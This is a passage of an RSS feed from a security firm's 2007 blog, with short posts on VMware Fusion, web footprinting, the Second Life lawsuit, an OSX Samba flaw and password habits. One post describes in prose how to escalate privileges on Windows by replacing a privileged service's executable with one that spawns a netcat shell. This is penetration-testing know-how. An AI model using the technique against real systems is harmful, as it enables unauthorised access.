				<description>&lt;p&gt;VMware have just released beta4 of its Fusion product for OSX.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.vmware.com/products/beta/fusion/&#34; target=&#34;_blank&#34;&gt;&lt;img align=&#34;middle&#34; alt=&#34;mac_hero_v03.gif&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/vmware-for-osx-fusion-beta-4/d58280f0ad54a9a9463ed37508a1bcbc.gif&#34; title=&#34;mac_hero_v03.gif&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The initial beta was hard to justify and a little flaky, which allowed &lt;a href=&#34;http://www.parallels.com/&#34; target=&#34;_blank&#34;&gt;Parallels&lt;/a&gt; to take an early lead. We still have people in the office who swear by parallels.. But.. in my book VMware has just been such a life saver since we first started making heavy use of it (about 6 years ago) that i figured it was worth sticking it out..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Right escalation via services or scheduled tasks in Windows</title>
				<link>https://sensepost.com/blog/2007/right-escalation-via-services-or-scheduled-tasks-in-windows/</link>
				<pubDate>Wed, 06 Jun 2007 09:16:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/right-escalation-via-services-or-scheduled-tasks-in-windows/</guid>
				<description>&lt;p&gt;Scheduled tasks and services are often run as accounts with excessive privileges (HP Insight, backups etc) instead of limited service accounts. By exploring the tasks under c:\windows\tasks or the services by managing the computer, you can quickly see possible options to escalate your rights. By replacing at the actual exe that the service or task runs with a exe of your own, you can spawn a netcat shell. I use a batch file to exe converter and use the batchfile to call nc.exe with the correct parameters. *You can not alter the service or task itself in anyway else you loose the stored credentials. &lt;strike&gt;Attached are some screenshots that should illustrate this.&lt;/strike&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hotel Hacking</title>
				<link>https://sensepost.com/blog/2007/hotel-hacking/</link>
				<pubDate>Tue, 05 Jun 2007 17:41:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/hotel-hacking/</guid>
				<description>&lt;p&gt;Check out &lt;a href=&#34;http://hongkong.langhamplacehotels.com/accom/technology.htm&#34; title=&#34;the Langham Place Hotel&#34;&gt;http://hongkong.langhamplacehotels.com/accom/technology.htm&lt;/a&gt; in Hong Kong. They provide Cisco IP phones in the rooms, but with a difference. According to an article I read in TIME the hotel will collect your most frequently dialled numbers and load them onto the touchscreen phone when you return for your next visit. Not only that, they also program the phone to show stock quotes or news and weather from your home town, AND if you forward them snapshots of your loved ones they&amp;#8217;ll pre-load those onto the phone&amp;#8217;s interface also.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Re: Jeremiah Grossmans “How to find your websites”</title>
				<link>https://sensepost.com/blog/2007/re-jeremiah-grossmans-how-to-find-your-websites/</link>
				<pubDate>Tue, 05 Jun 2007 09:05:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/re-jeremiah-grossmans-how-to-find-your-websites/</guid>
				<description>&lt;p&gt;Jeremiah from WhiteHatSec has just written &lt;a href=&#34;http://jeremiahgrossman.blogspot.com/2007/06/how-to-find-your-websites.html&#34; target=&#34;_blank&#34;&gt;a quick piece&lt;/a&gt; on how to find your websites. Now Footprinting is obviously dear to our hearts, with 3 Blackhat talks on it (or applications of it) (&amp;#8220;&lt;a href=&#34;http://www.blackhat.com/html/bh-usa-05/bh-usa-05-speakers.html#Sensepost&#34; title=&#34;Sensepost&#34;&gt;&lt;span &gt;&lt;/a&gt;&lt;a href=&#34;http://www.blackhat.com/html/bh-usa-05/bh-usa-05-speakers.html#Sensepost&#34; target=&#34;_blank&#34;&gt;Automation &amp;#8211; Deus ex Machina or Rube Goldberg Machine?&lt;/a&gt;&amp;#8220;, &amp;#8220;&lt;a href=&#34;http://www.blackhat.com/html/bh-asia-03/bh-asia-03-speakers.html#Sensepost&#34; target=&#34;_blank&#34;&gt;Putting The Tea Back Into CyberTerrorism&lt;/a&gt;&amp;#8220;, &amp;#8220;&lt;a href=&#34;http://www.blackhat.com/html/bh-europe-03/bh-europe-03-speakers.html#sensepost&#34; target=&#34;_blank&#34;&gt;The Role of Non Obvious Relationships in the Foot Printing Process&lt;/a&gt;&amp;#8220;), a &lt;a href=&#34;http://www.sensepost.com/research/bidiblah/&#34; target=&#34;_blank&#34;&gt;commercial tool&lt;/a&gt; almost dedicated to it, and a full blown chapter on it in &lt;a href=&#34;http://www.amazon.com/Penetration-Testers-Open-Source-Toolkit/dp/1597490210/ref=sr_1_3/104-2914697-6822325?ie=UTF8&amp;#038;s=books&amp;#038;qid=1181028580&amp;#038;sr=8-3&#34; target=&#34;_blank&#34;&gt;Open Source Penetration Testing&lt;/a&gt; by charl and gareth. Footprinting is a genuinely important part of a companies security assessment, cause it doesn&amp;#8217;t matter if they have multi-layer firewalls and WAF&amp;#8217;s protecting the web app on their www.company.com, and an old barely used sql-injectable form on their community.company.com site that lets you grab SA on their SQL server anyway..&lt;br /&gt;&#xA;(Now that the shameless self promotion is over..) i wanted to touch on an interesting aspect of webserver discovery that is often skipped, and thats the issue of multiple websites running as name based virtual hosts on the same web-server. There was a time (not so long ago) when all of the popular scanning tools, failed to take into account that scanning 209.61.188.39 was not the same as scanning www.sensepost.com (or hackrack.sensepost.com which happens to be on the same ip address).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Second Life land grab case moves into U.S federal courts..</title>
				<link>https://sensepost.com/blog/2007/second-life-land-grab-case-moves-into-u.s-federal-courts../</link>
				<pubDate>Mon, 04 Jun 2007 09:19:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/second-life-land-grab-case-moves-into-u.s-federal-courts../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://arstechnica.com/news.ars/post/20070603-second-life-land-dispute-moves-offline-to-federal-courtroom.html&#34; target=&#34;_blank&#34;&gt;Ars Technica&lt;/a&gt; is reporting on the law suit filed in 2006 by Martin Bragg who accused Linden labs of wrongfully seizing his virtual land.&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;Linden Lab filed two motions to dismiss the suit, arguing that Bragg came into possession of his land wrongfully, but the Pennsylvania judge denied those motions.&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;A few things about this are super interesting..&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Linden Labs (creators of Second Life) literally sells online assets for real world money..&lt;/li&gt;&#xA;&lt;li&gt;Martin Bragg (from accounts read) found that by simply adjusting his HTTP GET parameters was able to bid on not yet opened auctions.(1)&lt;/li&gt;&#xA;&lt;li&gt;Bragg apparently invested thousands planning to buy low and sell high&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We have just started to consider the attack possibilities and where this is going but again, i suspect fun times are ahead (2)..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Web Mashups point and click style (open invite for Sammy v2.0) ?</title>
				<link>https://sensepost.com/blog/2007/web-mashups-point-and-click-style-open-invite-for-sammy-v2.0/</link>
				<pubDate>Sun, 03 Jun 2007 14:53:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/web-mashups-point-and-click-style-open-invite-for-sammy-v2.0/</guid>
				<description>&lt;p&gt;[&lt;a href=&#34;http://pipes.yahoo.com&#34; target=&#34;_blank&#34;&gt;Yahoo pipes&lt;/a&gt;] looks like an awesome way for even non-programmers to create web mashups trivially. Aside from the fact that its interface is super-cool, it brings an interesting dimension to next gen web attacks. (&lt;a href=&#34;http://video.google.com/videoplay?docid=8569811679113799879&#34; target=&#34;_blank&#34;&gt;Google Video on Pipes by Pipes developers&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.gnucitizen.org/contact&#34; target=&#34;_blank&#34;&gt;pdp&lt;/a&gt; has already covered pipes in his &lt;a href=&#34;http://www.gnucitizen.org/projects/6th-owasp-conference/&#34; target=&#34;_blank&#34;&gt;OWASP talk&lt;/a&gt; where he used it to re-write a &lt;a href=&#34;http://portal.spidynamics.com/blogs/spilabs/archive/2007/04/02/Jikto-in-the-wild.aspx&#34; target=&#34;_blank&#34;&gt;jikto&lt;/a&gt; equiv. in almost-0 lines of code, along with a tinyurl filesystem. pdp also mentions &lt;a href=&#34;http://www.dapper.net/dapperDemo/&#34; target=&#34;_blank&#34;&gt;Dapper&lt;/a&gt;, which i have not checked out till now, but looks like fun waiting to happen too..&lt;br /&gt;&#xA;In all the services look leet, and look like a cool way to get &amp;#8220;unification&amp;#8221; going for browser attacks*. Check them out, the possibilities for evil&amp;#8217;ness should start running through your head from click 1.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Windows filesharing on OSX still vulnerable…</title>
				<link>https://sensepost.com/blog/2007/windows-filesharing-on-osx-still-vulnerable/</link>
				<pubDate>Sat, 02 Jun 2007 18:42:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/windows-filesharing-on-osx-still-vulnerable/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.symantec.com/enterprise/security_response/weblog/authors/aaron_adams.html&#34; target=&#34;_blank&#34;&gt;Aaron Adams&lt;/a&gt; over at SYMANTEC, &lt;a href=&#34;http://www.symantec.com/enterprise/security_response/weblog/2007/06/samba_update.html&#34; target=&#34;_blank&#34;&gt;did a quick check&lt;/a&gt; on the version of Samba running on currently up to date OSX machines and found that the Macs were still running 3.0.10. He did a quick mod on the existing Metasploit module and has reliable code execution going..&lt;/p&gt;&#xA;&lt;p&gt;If you are running OSX, you probably want to make sure your samba isnt exposed while you grab the &lt;a href=&#34;http://us1.samba.org/samba/ftp/samba-latest.tar.gz&#34; target=&#34;_blank&#34;&gt;latest source&lt;/a&gt; and build..&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>Welcome to extern blog SensePost;</title>
				<link>https://sensepost.com/blog/2007/welcome-to-extern-blog-sensepost/</link>
				<pubDate>Fri, 01 Jun 2007 05:51:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/welcome-to-extern-blog-sensepost/</guid>
				<description>&lt;p&gt;Ok.. so after many moons of making excuses for not making our internal blog public we have decided on a happy compromise.. Some of the &amp;#8220;work-safe&amp;#8221; posts from internal, will make its way out here.. {we have a ton of posts on internal, and promise to publish them if they are ever referenced by new posts here to stop the foncusion}&lt;/p&gt;&#xA;&lt;p&gt;Other than that.. Welcome, thanks for taking the time to read us..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Adventures while moving… (Part II)</title>
				<link>https://sensepost.com/blog/2007/adventures-while-moving-part-ii/</link>
				<pubDate>Wed, 30 May 2007 22:55:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/adventures-while-moving-part-ii/</guid>
				<description>&lt;p&gt;Ok.. so we have an outside gate type thing that leads to our garden. Since we would probably get to the gate at random points of the day / week we figured a combination lock would make sense. Now i know that combination locks traditionally have a pretty small keyspace, and have a horrible reputation so i asked Deels to make sure she got one with at least 4 digits, and had a good name behind it..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Do you group your passwords?</title>
				<link>https://sensepost.com/blog/2007/do-you-group-your-passwords/</link>
				<pubDate>Wed, 30 May 2007 22:41:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/do-you-group-your-passwords/</guid>
				<description>&lt;p&gt;This has probably been pondered, but something occurred to me whilst entering my new home.. The guard house grants access based on your fingerprint. The system works pretty sweetly..&lt;/p&gt;&#xA;&lt;p&gt;Now.. because i have about a zillion accounts, i kinda group my passwords.. since i know services admins on most irc networks read your password, i use XXX for low level access (this might include try once trial software logins).&lt;/p&gt;&#xA;&lt;p&gt;Slightly more reliable software logins (vmware page / ms partner page) i will use YYY.. i think most people do this..&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
